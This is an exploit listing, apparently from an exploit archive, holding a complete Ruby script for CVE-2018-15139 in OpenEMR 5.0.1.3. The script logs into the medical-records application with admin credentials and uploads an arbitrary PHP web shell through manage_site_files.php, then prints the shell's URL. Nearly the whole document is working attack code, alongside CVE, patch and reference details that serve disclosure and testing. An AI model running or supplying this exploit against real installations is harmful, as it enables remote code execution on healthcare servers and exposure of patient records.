OpenEMR 5.0.1.3 Shell Upload

OpenEMR version 5.0.1.3 authenticated remote shell upload exploit that leverages a vulnerability discovered in 2018.


MD5 | 42dde552844a71d54aa98a08c105ae9f

# Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
# Date: 2021-07-05
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Docker PoC: https://github.com/sec-it/exploit-CVE-2018-15139/blob/master/docker-compose.yml
# Version: < 5.0.1.4 (it means up to 5.0.1.3)
# Tested on: OpenEMR Version 5.0.0.8
# References: https://www.exploit-db.com/exploits/49998
# CVE: CVE-2018-15139
# CWE: CWE-434
# Patch: https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485

#!/usr/bin/env ruby

require 'pathname'
require 'httpx'
require 'http/form_data'
require 'docopt'

doc = <<~DOCOPT
OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution

Source: https://github.com/sec-it/exploit-CVE-2019-14530

Usage:
#{__FILE__} exploit <url> <filename> <username> <password> [--debug]
#{__FILE__} -h | --help

Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<filename> Filename of the shell to be uploaded
<username> Username of the admin
<password> Password of the admin
--debug Display arguments
-h, --help Show this screen

Examples:
#{__FILE__} exploit http://example.org/openemr shell.php admin pass
#{__FILE__} exploit https://example.org:5000/ shell.php admin pass
DOCOPT

def login(root_url, user, pass, http)
vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
params = {
'new_login_session_management' => '1',
'authProvider' => 'Default',
'authUser' => user,
'clearPass' => pass,
'languageChoice' => '1'
}

http.post(vuln_url, form: params).body.to_s
end

def upload(root_url, filepath, http)
vuln_url = "#{root_url}/interface/super/manage_site_files.php"
pn = Pathname.new(filepath)

params = {
form_image: {
content_type: 'application/x-php',
filename: pn.basename.to_s,
body: pn
},
bn_save: 'Save'
}

res = http.post(vuln_url, form: params)

return '[-] File not upload' unless (200..299).include?(res.status)

"[+] File uploaded:\n#{root_url}/sites/default/images/#{pn.basename}"
end

begin
args = Docopt.docopt(doc)
pp args if args['--debug']

if args['exploit']
http = HTTPX.plugin(:cookies).plugin(:follow_redirects).plugin(:multipart)
login(args['<url>'], args['<username>'], args['<password>'], http)
puts upload(args['<url>'], args['<filename>'], http)
end
rescue Docopt::Exit => e
puts e.message
end


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